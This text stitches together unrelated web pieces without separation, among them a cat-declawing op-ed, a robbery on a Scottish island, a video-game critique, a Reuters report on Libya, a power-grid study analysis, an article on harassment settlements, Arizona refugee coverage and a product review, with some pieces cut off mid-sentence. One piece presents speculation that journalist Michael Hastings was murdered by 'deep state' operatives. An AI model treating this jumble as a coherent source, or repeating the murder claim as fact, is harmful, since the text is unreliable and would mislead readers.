Declawing of cats and kittens is a despicable practice done for the convenience of owners who want to ensure their kitty doesn’t ruin the furniture. It is an elective surgical procedure which puts the animal at all anesthesia risks but has no medical purpose for the cat.
And I’m ashamed to admit, it is a common practice in the U.S. It is estimated about 25 percent of U.S. cats are declawed. Many European countries have already made it illegal or consider it an inhumane practice. It’s time for America to wake up and follow suit.
What is Declawing?
Declawing is a misnomer because in order to remove a cat’s claws, the first joints of each toe are actually amputated. Imagine trying to go through your daily routines of self care with only stubs at the end of each finger.
Declawing is also a very painful surgery that can negatively affect a cat’s behavior and instinctual abilities. Many declawed cats will start to bite because their natural defense – their claws – have been removed and their teeth are all they have left to defend themselves with.
Post-operative recuperation can take weeks with the kitty in severe pain from walking or scratching in their litter box — things they have to continue doing on a daily basis. Cats instinctively will not show pain; so pain relief is often not addressed as a post operative concern. It can also cause lameness and balance disturbances.
Alternatives to Declawing
There are some non-surgical alternatives worth considering. Teaching your cat to use a scratching post, offering cardboard scratching toys and routine nail trimming are but a few.
If your feline indulges in catnip, try embedding it into the scratching post. There are plastic nail caps that can be easily glued to your cat’s nails so the scratch doesn’t damage flesh or furniture. Place sticky tape on furniture to deter unwanted scratching. And citrus sprays will stop some cats from kneading the sofa.
Thank You, Israel!
While declawing in Israel is not common practice, the new law sends a message to the world that amputating your cat’s toes for personal convenience is unacceptable.
Other countries that outlaw declawing or consider it inhumane are:
Australia
Brazil
United Kingdom
Finland
Estonia
Netherlands
Germany
Switzerland
Austria
Related Stories:
Strange Circumstances make California First to Ban Declawing
San Fran Cats May Get to Keep their Claws
Jogger Saves Cat in Rainy Park Carries Him One Mile in Her Coat
Photo by tkw954 via FlickrA recently-opened cosmetics store on the tiny Scottish island of Canna was robbed last Friday night, with thieves breaking in and stealing cash, several beauty products and six wooly hats.
The theft is the first instance of crime on the island in over half a century; the last theft in the 1960s was of a wooden plate, Scottish broadcaster STV News reported.
“The thieves cleared the shelves of sweets, chocolate bars, coffee, biscuits, batteries and more,” said a spokeswoman for the Canna Community Trust, which runs the store. “Most upsetting for [manager] Julie was they stole six of her hand-knitted Canna wool hats which were in the shop on a sale or return basis.”
The spokeswoman added that they might have to employ drastic new security measures to prevent further thefts on the island, which has a population of less than 30.
“Sadly, this means we will have to lock the door of the shop overnight now,” she said. “We left it open specifically to welcome fisherman in to use the Wi-Fi and buy anything they needed while resting in at our pier overnight.”
[STV]
The Most Beautifully Designed Currencies from Around the World Banknote World Banknote World Banknote World Banknote World Banknote World Banknote World Banknote World Banknote World Banknote World 1 of 9 Advertisement
Write to Rishi Iyengar at rishi.iyengar@timeasia.com.My santa sent me 12 jars of spicy sauce & seasonings. 3 Lush bath bombs (king of all bath products) and rainbow stripey socks. I bloody love them. You wrote you wanted to spoil me... Well you've ensured I'm warm inside and out (see what I did there? :P). I am spoiled! The thing that got me most of all was your detective work. Santa was watching. You knew I was feeling down, and you must've seen my comment about socks too. I actually kinda squealed over the socks. I used to have a pair just like them when I was 15, I often quote 'rainbow coloured' as my fave colour. It brought me right back. I'm looking forward to my baths, and I'm gonna be eating spicy everything for some time! It has been difficult lately, and I've been really touched by your kindness. I hope you have a very nice holiday, and that your Santa makes you smile too. Thank you times a million!
Ps your handwriting is so fancy!Call Jack Thompson, Jesse Jackson, and the Pope, this isn’t just an assault on morals, it is an assault on the Church. Be rewarded for killing Christian leaders.
"Our story follows a disgraced master Assassin (ALTAIR) who embarks on an epic quest to restore his status within the Assassin Order. After failing to assassinate the Templar Leader (ROBERT DE SABLE) and recover the legendary Templar Treasure, Altair is demoted to Uninitiated (the lowest rank in the Assassin order).
SINAN, Leader of the Assassins, offers our hero an opportunity to redeem himself. Altair must venture out into the Holy Land and assassinate men said to be exacerbating and exploiting the hostilities created by the Third Crusade. In doing so, he will stabilize the region, allowing Sinan to usher in an age of peace."
If your history isn’t so good this is the war that Kevin Kostner was returning form in Robin Hood Prince of Thieves.
The premise at first seems well intentioned enough, kill a few key leaders and bring peace to the world. Seemingly not that violent, part of your "Creed" is to not kill anyone you don’t have to. But it would seem those you must kill are all Christian Leaders, and if you kill all of them you get the "Personal Vendetta Achievement" and 40 Gamer Points.
This is far from the first game to reward you for killing Christians, but it is certainly one of the most mainstream ones to hit the market. Games like Man Hunt which recently made the news because a patch allowed uncensored violence are mostly played by those who know they are playing a very violent game. No parent who spends 5 minutes watching Man Hunt is in the dark about the premise of the game. But Assassin’s Creed (AC) keeps the dark undertone quiet enough that when you are eaves dropping on a park bench or learning how to hide on a roof top that you might miss the parts where you kill the Men of the Cloth in their White robes. At one point you kill a Bishop while he is shopping in the market with a knife to his back, then flea as everyone in the city comes to his aid.
It is not possible to finish the game with out killing the majority of the Templars in the game. And the Templars are not explained to be evil, they may be encouraging men to join the crusades to retake Jerusalem, but they are not "bad" men being cleansed for a higher purpose. Jade Raymond the games producer says "there’s plenty of freedom to tweak people’s personalities and motivations" which he obviously does.
Many games you can look at the violence and give it a reason, or purpose. Doom, Halo, you were defending Earth. Man Hunt has only the excuse that you are playing the bad guys. Assassin’s Creed you are playing the Hero Role doing the "right" thing killing these men of God. The Game has two modes as Raymond puts it "a socially acceptable "low profile" mode, where all his actions are modified to help him blend in socially. In the second "high profile" mode, Altair goes into all-out hero mode, but simultaneously becomes more conspicuous, possibly putting his mission at risk." High profile / Hero Mode is the mode you have to be in when you Kill one of your Christian Targets. The Game is nearly Photo-realistic. The scenery is beautiful, the people are fantastically realistic, and each of your targets has a distinct look, making it extremely personal when you kill them. In most cases you do so at very close range, unlike First person shooters where you are farther away and don’t "know" your kill.
Would I let my kids (I don’t have any) play this game? Probably not. The Game Features no multiplayer modes so you won’t stunt his/her social skills because they are the only kid not playing the game. I personally think that Halo CTF is a great game to point |
less rate of 3.2%.
Previous government programs which promoted smaller families back in the 1970s and 80s are also partly to blame in the country’s current dilemma, which is why the government is quite aggressive in reversing the situation.
“It’s fair to say financial incentives are part of South Korea’s efforts to raise the low birthrate,” Population Association of Korea member and Kookmin University sociology professor Kye Bong-oh was quoted as saying.
One of the recipients of such incentives is Kang Mi-ok of Cheongyang County, South Chungcheong Province, who received 2 million won ($1,700) back in August last year as an award for the birth of her fourth baby.
To help her raise the newborn, she is also set to receive 8 million won ($7,100) more in installments, by 2020 from the local government.
“It’s completely a bonanza,” Kang said, noting that the incentives are a great help to her family in raising four children.
In addition to the cash gifts and incentives, the South Korean government has also adopted some creative ways to encourage citizens to make babies.
Back in 2010, South Korea launched an initiative dubbed “Family Day” that had companies turning off all office lights by 7:30 p.m. on the third Wednesday of every month. According to BBC. the program was basically intended to “help staff get dedicated to childbirth and upbringing.”It’s bike-to-work day in Toronto.
Cyclists met at Yonge and Charles streets at 7 a.m. on Monday to ride as a group down to and Nathan Phillips Square for a pancake breakfast.
Bike Share Toronto, the city’s cycle program provided through Green P, is part of the event.
Bike month starts Monday and lasts until June 26. It’s an annual event that started 25 years ago in 1989 and is co-ordinated by Cycle Toronto and supported by the city.
“As owners of Bike Share Toronto we are thrilled to be a part of Bike Month,” said Toronto Parking Authority president Lorne Persiko. “We hope Torontonians will come downtown and enjoy the ride.”
There are various cycling events planned all month all over the city. See the program’s event calendar for details.
Click here to view map of city bike paths.Here you are. You want to become a healthier person and you know your diet could use a major overhaul. But where do you start? Should you go cold turkey and give up all of your bad eating habits, or should you gradually make changes to your diet? If you're someone who is new to healthy eating, the task of transitioning from eating junk food every day to eating healthy meals and snacks can seem insurmountable. However, the hardest part is just getting started. After you make the decision that you're going to make healthy eating a priority in your life, it gets easier each day.
Start Small
If you truly want to be successful at losing weight, you need to make gradual changes that you can sustain for a lifetime. Research has consistently shown that the slower you lose the weight, the more likely you are to actually keep it off for good. Smaller, realistic, achievable changes over time will ensure you can succeed without causing burnout or frustration.
Start by getting rid of just one to two unhealthy items at first--eliminating these foods for several weeks. Reassess your dietary habits every couple of weeks and see what new, small changes you can make. After several weeks, you'll see the number on the scale going down and it'll motivate you to make more changes, and you'll realize it doesn't have to be done all at once. Every two weeks, set a new goal, making small changes each time.
What Can Be Given Up?
A good starting point is giving up soda or any other high-calorie beverage. Frozen cappuccino, anyone? Since we don't feel as full from liquid calories as we do from solid foods, this is an easy way to cut calories from your diet (leading to weight loss) without making you feel like you're hungry all of the time.
An Easy Way to Cut Down Calories
Another way to ease into healthier eating is to cut back on the number of times you eat fast-food or restaurant meals. It's almost impossible to avoid dining out completely because it's often a social event, but you can make it less of a habit. However often you previously dined out (fast-food or restaurant), cut that frequency in half for several weeks. If you used to dine out four times a week, try only doing it twice a week for two to three weeks. Then, cut that frequency in half again--dining out only once a week. Continue this cycle and you'll likely lose weight while saving money too. Going out to eat should become more of a celebratory or special occasion experience rather than the norm.
If you have dessert after every dinner, try enjoying a dessert just once or twice a week. This will cut calories and you may find that you'll truly savor those once weekly desserts much more than when you had it every day.
High to Low
Consider slowly transitioning from a high-calorie version of a food to a lower-calorie version of that same food rather than avoiding it altogether. For example, if you always drank whole-milk, you're probably not going to switch over to skim milk and instantly love it. Instead, try drinking 2% milk for a few weeks and then transition over to 1% for a few weeks, and eventually switch to skim milk several weeks after that. Another example is switching over from full-fat cheese to a light or reduced-fat cheese. It'll still have enough fat to taste good and have a nice creamy texture, but it's not so low in fat (such as fat-free cheese) that it's unpalatable. You'll shave off calories without really noticing a taste difference.
Don't Overdo It
Finally, make sure you don't drastically cut your calories so low that you're hungry all of the time. Slowly reduce the number of the calories you have a day while still taking in enough to fuel your body. Fill up on low-calorie foods, like fruits and vegetables. Drink plenty of water, get a good night's sleep, and do some physical activity every day.
How to Make a Healthy Meal in 10 Minutes or Less
Kari Hartel, RD, LD is a Registered, Licensed Dietitian and freelance writer based out of St. Louis, MO. Kari is passionate about nutrition education and the prevention of chronic disease through a healthy diet and active lifestyle. Kari holds a Bachelor of Science in Dietetics from Southeast Missouri State University and is committed to helping people lead healthy lives. She completed a yearlong dietetic internship at OSF St. Francis Medical Center in Peoria, IL, where she worked with a multitude of clients and patients with complicated diagnoses. She planned, marketed, and implemented nutrition education programs and cooking demonstrations for the general public as well as for special populations, including patients with cancer, heart disease, diabetes, Alzheimer's disease, obesity, and school-aged children. Contact Kari at KariHartelRD@gmail.com.* Clinton says to meet Libya opposition, assess needs
* Warns against any US action without int’l authorization
* U.S. cool to suggestions for no-fly zone (Recasts, adds quotes and background)
By Andrew Quinn
WASHINGTON, March 10 (Reuters) - U.S. Secretary of State Hillary Clinton said on Thursday she plans to meet representatives of Libya’s opposition groups but warned against unilateral U.S. action over the crisis, saying it could have unintended consequences.
Clinton met Tripoli’s former ambassador to Washington, who has joined a growing number of Liyban diplomats who have denounced leader Muammar Gaddafi, and said she would meet more opposition figures during a trip next week to France, Egypt and Tunisia. [ID:nN10127137]
“We are in direct contact with members of the opposition, here in the United States, in Libya, in other countries, and we are working with them to determine what assistance they are actually able to use,” Clinton told reporters after meeting Chile’s foreign minister.
While saying she recognized the urgency of the situation, Clinton said calls for a quick U.S.-led military response to the crisis were premature — underscoring that a no-fly zone and any other moves would require international support.
“Absent international authorization, the United States acting alone would be stepping into a situation whose consequences are unforeseeable,” Clinton told a congressional hearing, stressing that NATO and the United Nations should take the lead in planning the next steps.
Clinton said the United States was focusing on humanitarian relief and building links to Libya’s opposition groups, which are largely unknown in Washington.
She met Libya’s former ambassador Ali Aujali, who now says he speaks for the opposition, and said the United States would accept no future envoys from Gaddafi as he engages in an increasingly brutal effort to put down the rebellion.
“We are suspending our relationships with the existing Libyan Embassy, so we expect them to end operations as the embassy of Libya,” she said.
She did not specify which other opposition representatives she planned to meet.
CAUTIOUS ON NEXT STEPS
Clinton said the United States and its NATO allies were actively planning for options on Libya. NATO said on Thursday it would move ships closer to Libya but that a no-fly zone would take more planning. [ID:nLDE7291TF]
“Trying to plan is the first and most important undertaking and there is an enormous amount of planning going on. But it’s very challenging and I think we ought to have our eyes open as we look at what is being bandied about, and what is possible, in order to make good decisions,” she said.
Clinton stressed the United States would consider “every option imaginable” for the next steps but suggested the proposed a no-fly zone, which has been backed by several prominent U.S. lawmakers, may not be the best one.
“I want to remind people that we had a no-fly zone over Iraq. It did not prevent Saddam Hussein from slaughtering people on the ground and it did not get him out of office,” Clinton said.
“We had a no-fly zone and then we had 78 days of bombing in Serbia. It did not get Milosevic out of office. It did not get him out of Kosovo until we put troops on the ground with our allies,” she added. “I really want people to understand what we are looking at.”
“I can assure you that the president is not going to make any decision without a great deal of careful thought and deliberation.” (Reporting by Andrew Quinn; Editing by Cynthia Osterman)A high fidelity simulation of the North American Eastern Interconnect known as ERGIS–Eastern Renewable Generation Integration Study–indicates that the system could continue to function in the year 2026, even if as much as 30% of its annual electricity generation and consumption was produced using variable power sources like the wind and the sun.
At the high end of the penetration levels studied, there are times when the wind and sun together provide as much as 52% of the total demand and as little as 10%. Sunrise and sunset routinely become periods of intense system response. On some days, 140 GW of production must shift from solar and wind to gas or coal fired generators during a period lasting less than six hours.
A press conference was held in late August to announce the release of a report that describes the creation and initial results from ERGIS.
During the press conference, Aaron Bloom, the ERGIS study project manager, stated that the project results summary describes four specific scenarios chosen with inputs from a Technical Review Committee. He also acknowledged that there were many more scenarios and constraining assumptions that would be of interest to decision makers. NREL expects and encourages requests from other research groups to use the tools developed during the project to explore a wide range of possibilities and answer questions that the initial team had not considered.
Genesis Of ERGIS
The Eastern Interconnect is the power industry’s name for the world’s largest, most complex and economically critical system. It is the electrical power grid that serves the geographic half of the US from eastern sections of Montana and New Mexico–excluding most of Texas–to the Atlantic coast plus the central and eastern provinces of Canada with the exception of Quebec.
That service territory is one of the world’s most densely populated and productive regions; virtually every activity in the region depends on the reliable flow of electricity from thousands of generating sources to hundreds of millions of customers. The system has been planned and constructed over the past century to handle an ever changing load and to be as resilient as economically feasible in the event of unplanned events like generator failures, transmission line faults and severe weather.
During the past decade there has been increasing momentum to provide electricity generated by capturing natural energy flows from the wind and sun. These generators reduce overall system fuel consumption and produce no CO2 when they are operating, but their output is almost completely dependent on variable weather conditions and the predictable rotation of the Earth.
The driving forces for added sources of weather dependent power and the need to study their operational impact were: efforts to reduce CO2 emissions from electricity production, “state renewable portfolio standards (RPS), federal policies affecting the tax structures of wind and PV projects, renewable technology advancements, and cost decreases” pg. 1
Starting in 2012, the National Renewable Energy Laboratory was tasked with building a high fidelity model of the system that could help decision makers understand the operational impacts for the system of a rapidly increasing share of electricity from weather-dependent sources.
The NREL team had access to the high performance computing capabilities of NREL’s Energy Systems Integration Facility, which includes a system called Peregrine. That massive array of processors and storage is considered to be one of the 50 fastest computers in the world and is the highest ranking one that is dedicated to studies of renewable energy and energy efficiency integration.
Even though the team was using one of the most powerful computer systems in the world, they quickly realized they needed to develop a number of innovative problem solving techniques to enable solution of complex, multi-input equations in 5-minute intervals for an entire year without requiring months of runtime per scenario. In addition to the computing optimization work, the team made a number of simplifying assumptions that have the potential for increasing the gap between simulation and reality.
Examples Of Important Assumptions
At the high end, the southeast US is assumed to be able to obtain 15% of its wind electricity from wind farms in the Southwest Power Pool while Florida is assumed to be able to install 1.5 kW/person of distributed solar capacity – 50% more than any other area in the study and 10% of the installed capacity in the state. The Virginia-Carolinas area was assumed to be able to obtain 80% of its wind from offshore installations.
Note: Exactly one offshore wind installation has been completed in the US. It is expected to be operational by the end of 2016. It has a total generating capacity of 30 MWe and it is off of the coast of Block Island, RI.
The study used summarized weather data from 2006 as an input for both electricity demand and production capability from the wind and sun. Researchers acknowledged that using a single year of weather data imposed a fidelity constraint by possibly overlooking severe weather events like lengthy heat waves or the Polar Vortex.
Coal plant retirement assumptions were based on announced plans, old age and low utilization rates. All nuclear plants operating in 2010 were assumed to continue operating with the exception of Crystal River, Kewaunee, Vermont Yankee and Oyster Creek. When not in a planned outage, remaining nuclear plants were assumed to be operated at their nameplate capacity and not be used to follow any loads.
All coal, nuclear and natural gas plant retirements were assumed to be replaced with new natural gas fired generation.
Coal and natural gas fired power plants were assumed to be adequately supplied by fuel at prices predicted by the Energy Information Agency 2014 Annual Energy Outlook for the year 2026. Pipeline constraints were not modeled.
The entire Eastern Interconnect was assumed to be controlled by a single mathematical model for commitments and dispatch. The reality is that there are numerous regions within the EI that have a limited ability–both physically and procedurally–to transfer power into other regions. The single formula assumption often resulted in the model deciding to move power over much longer distances than is usually the case.
Value And Limitations Of High Fidelity Modeling
Unlike the facile statements about a 100% renewable energy future by renewable energy advocates like the Solutions Project, the ERGIS report and the associated animations should help responsible policy makers understand that it is not easy to maintain grid reliability as variable power sources like the wind and the sun play a growing role. The system becomes increasingly dynamic and uses up some of its installed resilience to handle such expected events as sunset.
The study team was honest enough to provide various forms of the following warning to policy makers in all three of the study’s main communications products–the final report, the executive summary and the press release announcing the availability of the study.
However, we did not investigate whether transmission and generation operators will have sufficient incentives to provide the necessary ramping, energy, and capacity services for futures like the ones we studied. While ERGIS shows it is technically possible to balance periods of instantaneous VG [variable generation] penetrations that exceed 50% for the EI, the ability of the real system to realize these futures may depend more on regulatory policy, market design, and operating procedures.
They did not note, however, that there weren’t any members of the technical review committee (TRC) who could help the researchers quantify the scale of “sufficient incentives” that might be required. The 20 member TRC included two professional renewable energy industry lobbyists–one from the American Wind Energy Association and one from the Solar Energy Industry Association–neither of whom has a documented technical or operational background.
People who will end up footing the bills and potentially suffering the consequences if the reduced resilience results in power limitations or outages should demand to know more about the required “sufficient incentives.” The entities who are assumed to provide the needed services will expect to be paid, sometimes quite handsomely. When read carefully, the ERGIS shows that increasing renewable penetration, even if the cost of the power generators themselves falls a bit, isn’t going to be easy, cheap or without risk to reliability.
The above was initially published on Forbes.com with the same title. It is reprinted here with permission. An abbreviated version has been used to stimulate a conversation on OurEnergyPolicy.org.The issue of sexual harassment in the workplace was seared into the national consciousness when, in 1991, Anita Hill accused Clarence Thomas of making harassing sexual statements at his confirmation hearings to be a US Supreme Court justice.
Since then, businesses have undertaken countless hours of sexual harassment seminars, employers have heeded legislation that makes them liable for punitive damages in these kinds of cases, and several high-profile class action lawsuits – particularly in the 1990s – have ended in the awarding of big damages to victims of harassment.
Yet even with all this, workplaces have seen sexual harassment claims go down just slightly in the past decade.
Now, some 20 years after the Thomas hearings, sexual misconduct allegations against GOP presidential hopeful Herman Cain are drawing fresh attention to the issue of sexual harassment.
In particular, the controversy surrounding Mr. Cain has put a spotlight on secret settlements – legal agreements with confidentiality clauses that prohibit accusing parties from disclosing details about the alleged misconduct, in return for money or other benefits.
The National Restaurant Association, which Cain headed in the late 1990s, entered into secret settlements with two women who accused the businessman of unwanted sexual advances. The NRA reportedly paid the women $35,000 and $45,000.
Such settlements are gaining popularity, say workplace discrimination experts. With these secret agreements, employers can avert costly legal fees, and as important, damaging publicity. But many see worrisome consequences.
The use of confidential settlements "started in the '90s, and it's really taken off since," says Julie Berebitsky, a professor of history and women's studies at the University of the South in Sewanee, Tenn., and author of the forthcoming book "Sex and the Office: A History of Gender, Power, and Desire." She adds, "Moving forward, I think that's where we're headed."
As of press time, four women had made sexual harassment accusations against Cain, a front-runner in the GOP presidential field. Of the NRA cases, one woman has revealed her identity – Karen Kraushaar, now a spokeswoman for the Treasury Department. She had not disclosed details of the case as of Nov. 9, but she did allege that Cain made a "series of inappropriate behaviors and unwanted advances."
The other accuser to go public, Sharon Bialek, claimed that Cain reached up her skirt, saying when she protested, "You want a job, don't you?"
Cain emphatically denies all the allegations. In a CBS News poll conducted from Nov. 6 to 10, he holds the top spot among GOP presidential candidates. But the poll also indicates that he has lost some support, particularly among women and conservatives.
The landmark Civil Rights Act of 1964 made race-, religion-, and sex-based discrimination illegal. The term "sexual harassment" was coined by feminists in 1975, and soon after, courts began holding that it was prohibited in workplaces under Title VII of the act.
The Equal Employment Opportunity Commission, which tracks workplace discrimination, defines sexual harassment as "unwelcome sexual advances, requests for sexual favors, and other verbal or physical harassment of a sexual nature." The EEOC adds, "Harassment does not have to be of a sexual nature, however, and can include offensive remarks about a person's sex."
Sexual harassment claims climbed through the 1990s, peaking at 15,889 in 1997, according to the EEOC. (Reliable figures are not available for years prior to 1990.) Claims began dropping off in the 2000s, falling to 11,717 in 2010, which yielded some $48.4 million in monetary benefits for charging parties. That dollar figure comes from settlements that involved the EEOC but not from damages obtained through litigation.
The drop in claims may reflect better workplace training on sexual harassment – or it may simply reflect a challenging economic climate that makes employees more fearful of reporting sexual harassment for fear of jeopardizing their jobs or career advancement, says David Yamada, a Suffolk University law professor and president of the New Workplace Institute in Boston.
It's also possible that the number of confidential settlements has meant fewer claims filed with the EEOC.
To be sure, the claims figures don't capture the full scope of sexual harassment, says Christine Nazer, a spokeswoman for the EEOC.
"We believe these numbers of sexual harassment are the tip of the iceberg," Ms. Nazer says. "There may be thousands or millions of incidents that go unreported."
Some estimates suggest that only 5 to 15 percent of those who feel they experienced sexual harassment file complaints.
The handling of those claims that are filed tells an interesting story. Of the 11,717 claims last year, some 6,393 were found to have "no reasonable cause." That is, more than 50 percent of the claims were thrown out. This points to a broad misunderstanding of what actually constitutes sexual harassment, says Curt Levey, executive director of the Committee for Justice in Washington and an attorney specializing in civil rights law.
"The public definition has become very different than the legal definition," he says. "It's not behavior I would approve of, but there's a big difference between crude behavior and actual sexual harassment.... Title VII and other sexual harassment laws were intended to protect people from adverse conditions in the workplace, not from every unwanted sexual advance."
Also, in some cases, as with Cain and former International Monetary Fund chief Dominique Strauss-Kahn, it is difficult to establish the veracity of accusers. Many incidents become a tangled web of "he said, she said" allegations.
According to Mr. Levey, confidential settlements can be an efficient way for an employer to settle a claim, whether or not it constituted sexual harassment.
The use of in-house arbitration and confidential settlements became standard practice in the early '90s, when President George H.W. Bush signed into law the Civil Rights Act of 1991. This allowed sexual harassment plaintiffs to receive money for emotional distress and punitive damages, says Professor Berebitsky.
"Companies could take a bath if found guilty," she says. "Employers said, 'We have got to limit liability.' That gave employers an impetus to get on the arbitration train."
Today, many employers require their workers to sign arbitration agreements that say, "in case of any claim of discrimination, you won't go to the courts but agree to enter into binding arbitration," says Berebitsky.
That tactic shields harassers and employers from accountability, says Professor Yamada.
"I am very concerned about confidentiality clauses being standard practice," he says. "If harassers are not disciplined or discharged as part of the settlement, it's quite possible that they will mistreat others in the same way.... Overall, confidentiality clauses allow bad employers to cover multitudes of sins."
Levey disagrees. "The efficient functioning of the justice system depends on the large majority of complaints – sexual harassment and otherwise – being settled. If confidentiality provisions were barred, there would be less incentive to settle and thus more litigation," he writes in an e-mail. "Moreover, it would hardly be justice to hold accused employers and harassers publicly accountable when the evidence of guilt is scant, as is often the case for settled complaints."
Michael R. Masinter, a law professor at Nova Southeastern University in Fort Lauderdale, Fla., sees the issue of public accountability differently.
"[T]he combination of arbitration agreements... and confidential settlements can conceal the scope of a problem that, were it known, would inspire public outrage," he writes in an e-mail. It leaves "the false impression that sexual harassment is a thing of the past when it is still very much a part of the contemporary workplace."Wikileaks CIA Revelations Refuel Speculation That Author Michael Hastings Was Murdered by Deep State Operatives
Wikileaks released documents today on the CIA’s global hacking force.
The documents reveal CIA attempts to remotely hack into cars and trucks for remote assassinations.
This news refueled speculation on author Michael Hastings’ death in 2013.
Author Michael Hastings was a vocal critic of the Obama administration, Democratic Party and surveillance state. In 2013 during the investigation of reporters by the U.S. Department of Justice Hastings referred to the restrictions on the freedom of the press by the Obama administration as a “war” on journalism. His last story, “Why Democrats Love to Spy On Americans”, was published by BuzzFeed on June 7.
Hastings died in a fiery high-speed automobile crash on June 18, 2013, in Los Angeles, California.
Michael Hastings died in a fiery crash hours after contacting Wikileaks.
Hastings contacted Wikileaks hours before his fatal crash. He sent out a panicked email saying the FBI was investigating him.
Michael Hastings contacted WikiLeaks lawyer Jennifer Robinson just a few hours before he died, saying that the FBI was investigating him. — WikiLeaks (@wikileaks) June 19, 2013
Hastings told his neighbor he believed his Mercedes had been tampered with, according to a report.
In a lengthy profile by LA Weekly, Hastings’ neighbor Jordanna Thigpen says he knocked on her door after midnight and asked to borrow her Volvo because he was afraid to drive his own car. “He was scared, and he wanted to leave town,” she told the weekly newspaper. She declined, saying her car was in need of repairs.
Hastings died later that night. He lost control of his car.File photo: Ishrat Jahan
The CBI will soon declare that it has found no evidence of terrorist leanings for 19-year-old Ishrat Jehan, who was killed by the Gujarat police in 2004 along with three men.Sources say that in its next chargesheet, to be filed within the next two weeks, the agency will say that Ishrat was "an innocent college girl", presenting a boldface controversy for chief minister Narendra Modi, who is in the running for Prime Minister.The BJP has already alleged that the ruling Congress, unable to politically combat Mr Modi's surging popularity, is using the CBI to question his credentials and mar his reputation as the national elections approach.In its first chargesheet presented in a Gujarat court in July, the CBI accused seven senior policemen of murdering Ishrat and her three male companions in "cold blood" and of planting an AK-56 at the scene of the shooting to portray the victims as terrorists.One of those officers, DG Vanzara, who was then Deputy Commissioner of the Amedabad Crime Branch, wrote an explosive letter to Mr Modi from jail recently. ( Read: Jailed top cop Vanzara's letter He alleged that Mr Modi's close aide, Amit Shah, who was Home Minister when Ishrat was killed, was aware of the police's actions, but that the cops have now been betrayed by a weak state government. The senior officer repeated the defense that his team was trying to fight Pakistani terrorists.The CBI says that Mr Vanazara has refused to cooperate and share more details of the accusations he made in his note against Mr Shah. So far, the CBI has not interrogated Mr Shah, or linked either him or Mr Modi to its investigation.“We’re not anti-immigrant — never have been,” said State Senator Russell Pearce, a Republican who is a leading critic of illegal immigration. “But we expect people to follow the law.”
Mr. Pearce sponsored a new law that would give the police greater power to question people about their immigration status. The Obama administration has sued, arguing the law usurps federal power and encourages racial profiling.
Numerically, the groups do not compare; Arizona took in about 4,700 refugees last year, but is thought to have about 375,000 illegal immigrants. Refugees are not economic migrants but survivors of war and persecution whom the United States admits for humanitarian and foreign policy reasons. In fleeing violence, many refugees themselves illegally crossed borders overseas.
Refugee groups in Arizona sometimes feel caught in the political crossfire, wanting to emphasize that their clients are legal immigrants without taking sides in the larger war.
Photo
“We don’t want to be in the position of saying one group is good and another is bad,” said Robin Dunn Marcos, who runs the rescue group’s Phoenix office.
Arizona first drew refugees because the cost of living is low, and until the recession the state had lots of entry-level jobs open to non-English speakers, like housekeeping and lawn care. Early success, with Bosnians and Kosovars in the late 1990s and later with war orphans from Sudan, helped build local support.
Advertisement Continue reading the main story
Efforts intensified after the hiring in 2002 of a new state coordinator, Charles Shipman, who is married to a former Cambodian refugee and known for his advocacy. In recent years, Arizona has taken more than three times as many refugees as it did when he arrived.
Mr. Shipman quickly spotted a shortage of interpreters for a population ever more ethnically diverse. He commissioned a study that found language barriers “quite troubling.” The rescue group then used it to win a private grant to start an interpreting service. It now operates in 14 languages, including Kirundi (Burundi), Tigrinya (Ethiopia) and Hakka (China).
As the recession took hold, Mr. Shipman led a charge to prevent homelessness among newly arrived refugees. In part at his prompting, the federal government let Arizona shift some federal money into rent relief and urged other states to follow.
Photo
That benefited Harith Khalid Aziz, an Iraqi refugee with a master’s degree, who was earning little as a part-time clerk in a grocery. With a wife and a young son, he said it was “a horrible feeling” to fear eviction.
A few months’ aid sustained him until he found a better job. In Arizona, even “if you are not from the same race, they welcome you,” he said. “The U.S. is built on this.”
Last year, the federal government admitted about 75,000 refugees, out of 10.5 million worldwide, and it covers most resettlement costs. State officials administer the money and help decide how many refugees they can take; private agencies do the casework, helping find housing and jobs.
The Biltmore not only hired refugees but donated used furniture to them. The private Tesseract School (tuition: $19,000 a year), established a scholarship just for refugees. When the rescue group encouraged clients to farm, Hickman’s Eggs donated 60 tons of chicken manure.
Hai Doo, the laundry worker from the former Burma, thought the home ownership program was too good to be true. Matching grants converted his $5,000 in savings into a $24,000 down payment on a house. Most of the money came from the Federal Home Loan Bank of San Francisco, which is required to spend some of its profits on housing aid.
Photo
“I never thought I would get help like this,” he said.
The flip side of the Arizona story includes the Maricopa County sheriff, Joe Arpaio, who courts a national following by advertising his toughness toward illegal immigrants. (“The rumor is I could run for president,” he said in a recent interview.)
Advertisement Continue reading the main story
Mr. Arpaio conducts frequent raids on immigrant neighborhoods, stopping people for minor infractions and reviewing their immigration status. He says these raids have netted hundreds of illegal immigrants. Critics say they spread fear and harass legal residents.
Victor Acevedo, an illegal immigrant from Mexico, said he was stopped in January after failing to use his turn signal and was found with a small amount of marijuana. He is now awaiting deportation in one of Mr. Arpaio’s famed prison tents, dressed in the standard outfit: black stripes and pink underwear.
In a tent-side interview in 107-degree heat, Mr. Acevedo, 29, said he came nine years ago for a “better livelihood,” found a landscaping job, married an American and had two American-born sons. He was deported in 2008 but returned a year later to be with his family.
“We’re here illegally, but we’re still human beings,” he said.
Refugees seem slow to sympathize. The two groups often compete for jobs or housing, and some refugees say Latino gangs have preyed on them.
The United States “stands for law and order,” said Wissam Salman, 35, a hotel housekeeper from Iraq. “If they don’t look for these people it will be a disaster.”
Ibrahim Swara-Dahab, the Sudanese goat farmer, agrees.
“I have some problems with the Mexican people; they stole my goats,” he said. “If they don’t have documents, they should go back to their country.”
Mr. Swara-Dahab acknowledged that he, too, crossed a border illegally when he fled to Kenya but called that a matter of life and death. “Here, the situation is different,” he said. “You need documents.”Pros: Very easy to clean. Easy to clean. Easy to clean. Easy to fill with water and ice, easy to use tube connections, easy to store and remove bladder from pack, and most of all, the pressurized water it a surprisingly nice feature. Also, it comes with a well thought out backpack. Zippers are solid and don't have trouble with fabric getting caught, and they resist water well enough that your stuff will stay dry through a run of the mill rain. The shoulder straps have a layered covering that allows you to actually run the tubes within the strap. This is NOT done for you from the factory but it is made very easy to do.
The pressurization tube and drink tube are left as exposed as possible. In my eyes this pack should have been prefitted with the tube garage and they should have charged more to compensate
Cons: If you put the bladder in wrong the drink tube will disconnect. It takes a couple times of this happening to learn how to avoid it, but when you learn it doesn't happen again. Also, only a very small amount of water leaks when disconnected, and there is a drain hole at the bottom of the pack to accommodate.
